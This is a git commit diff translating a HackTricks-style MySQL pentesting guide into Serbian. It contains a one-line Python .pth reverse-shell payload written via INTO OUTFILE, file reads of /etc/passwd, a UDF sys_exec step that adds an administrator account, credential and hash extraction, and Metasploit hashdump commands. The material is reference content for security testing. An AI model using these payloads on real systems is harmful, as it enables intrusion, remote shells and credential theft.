Translated ['src/network-services-pentesting/pentesting-mysql.md'] to sr

This commit is contained in:
Translator 2025-07-14 08:54:58 +00:00
parent 1ee930dec2
commit 3fef92e706

View File

@ -1,15 +1,10 @@
# 3306 - Pentesting Mysql
{{#include /banners/hacktricks-training.md}}
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}
## **Osnovne informacije**
**MySQL** se može opisati kao open source **Sistem za upravljanje relacionim bazama podataka (RDBMS)** koji je dostupan bez troškova. Radi na **Strukturiranom jeziku upita (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka.
**MySQL** se može opisati kao open source **Relacijski sistem za upravljanje bazama podataka (RDBMS)** koji je dostupan bez troškova. Radi na **Strukturiranom jeziku upita (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka.
**Podrazumevani port:** 3306
```
@ -114,15 +109,15 @@ Možete videti u dokumentaciji značenje svake privilegije: [https://dev.mysql.c
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
#### INTO OUTFILE → Python `.pth` RCE (konfiguracione kuke specifične za sajt)
#### INTO OUTFILE → Python `.pth` RCE (specifične konfiguracione kuke za sajt)
Zloupotrebom klasične `INTO OUTFILE` primitive moguće je dobiti *izvršenje proizvoljnog koda* na ciljevima koji kasnije pokreću **Python** skripte.
Zloupotrebom klasične `INTO OUTFILE` primitive moguće je dobiti *izvršenje proizvoljnog koda* na metama koje kasnije pokreću **Python** skripte.
1. Koristite `INTO OUTFILE` da postavite prilagođenu **`.pth`** datoteku unutar bilo kog direktorijuma koji se automatski učitava od strane `site.py` (npr. `.../lib/python3.10/site-packages/`).
2. `.pth` datoteka može sadržati *jednu liniju* koja počinje sa `import ` praćenom proizvoljnim Python kodom koji će se izvršavati svaki put kada se interpreter pokrene.
3. Kada se interpreter implicitno izvršava putem CGI skripte (na primer `/cgi-bin/ml-draw.py` sa shebang `#!/bin/python`), payload se izvršava sa istim privilegijama kao proces web-servera (FortiWeb ga je pokrenuo kao **root** → potpuno pre-auth RCE).
Primer `.pth` payload-a (jedna linija, bez razmaka koji se mogu uključiti u konačni SQL payload, tako da hex/`UNHEX()` ili spajanje stringova može biti potrebno):
Primer `.pth` payload-a (jedna linija, bez razmaka koji mogu biti uključeni u konačni SQL payload, tako da hex/`UNHEX()` ili spajanje stringova može biti potrebno):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
@ -134,7 +129,7 @@ Važne ograničenja i zaobilaženja:
* `INTO OUTFILE` **ne može prepisati** postojeće datoteke; izaberite novo ime datoteke.
* Putanja do datoteke se rešava **u odnosu na MySQL-ov CWD**, tako da prefiksiranje sa `../../` pomaže da se skraći putanja i zaobiđu ograničenja apsolutne putanje.
* Ako je unos napadača izvučen sa `%128s` (ili slično), svaki razmak će skratiti payload; koristite MySQL komentare `/**/` ili `/*!*/` da zamenite razmake.
* Ako je unos napadača izvučen sa `%128s` (ili slično) svaki razmak će skratiti payload; koristite MySQL sekvence komentara `/**/` ili `/*!*/` da zamenite razmake.
* MySQL korisnik koji izvršava upit treba da ima `FILE` privilegiju, ali u mnogim uređajima (npr. FortiWeb) usluga se pokreće kao **root**, što daje pristup za pisanje gotovo svuda.
Nakon što se izbaci `.pth`, jednostavno zatražite bilo koji CGI koji obrađuje python interpreter da biste dobili izvršenje koda:
@ -153,7 +148,7 @@ uid=0(root) gid=0(root) groups=0(root)
## MySQL proizvoljno čitanje datoteka od strane klijenta
U stvari, kada pokušate da **učitate podatke lokalno u tabelu** iz **sadržaja datoteke**, MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Tada, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\
Zapravo, kada pokušate da **učitate podatke lokalno u tabelu** **sadržaj datoteke** MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Tada, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\
Molimo vas da obratite pažnju da je ovo ponašanje korišćenjem:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -165,8 +160,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Početni PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**U ovom radu možete videti potpunu opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**U ovom radu možete videti potpun opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Ovde možete pronaći pregled napada:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -175,7 +170,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
## POST
### Mysql Korisnik
### Mysql User
Biće veoma zanimljivo ako mysql radi kao **root**:
```bash
@ -213,7 +208,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Eskalacija privilegija putem biblioteke
Ako **mysql server radi kao root** (ili kao neki drugi korisnik sa višim privilegijama), možete ga naterati da izvršava komande. Za to, potrebno je da koristite **funkcije definisane od strane korisnika**. A da biste kreirali funkciju definisanu od strane korisnika, biće vam potrebna **biblioteka** za operativni sistem na kojem radi mysql.
Ako **mysql server radi kao root** (ili kao neki drugi korisnik sa višim privilegijama), možete ga naterati da izvršava komande. Za to, potrebno je koristiti **funkcije definisane od strane korisnika**. A da biste kreirali funkciju definisanu od strane korisnika, biće vam potrebna **biblioteka** za operativni sistem na kojem radi mysql.
Zloćudna biblioteka koja se koristi može se pronaći unutar sqlmap-a i unutar metasploit-a tako što ćete uraditi **`locate "*lib_mysqludf_sys*"`**. **`.so`** datoteke su **linux** biblioteke, a **`.dll`** su one za **Windows**, izaberite onu koja vam je potrebna.
@ -256,7 +251,7 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
### Izvlačenje MySQL akreditiva iz fajlova
### Izvlačenje MySQL kredencijala iz fajlova
Unutar _/etc/mysql/debian.cnf_ možete pronaći **lozinku u običnom tekstu** korisnika **debian-sys-maint**
```bash
@ -264,9 +259,9 @@ cat /etc/mysql/debian.cnf
```
Možete **koristiti ove akreditive za prijavu u mysql bazu podataka**.
Unutar datoteke: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve hešove MySQL korisnika** (one koje možete izvući iz mysql.user unutar baze podataka)_._
Unutar datoteke: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve heširane lozinke MySQL korisnika** (one koje možete izvući iz mysql.user unutar baze podataka)_._
Možete ih izvući tako što ćete uraditi:
Možete ih izvući tako što ćete:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
@ -651,7 +646,7 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## Reference
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}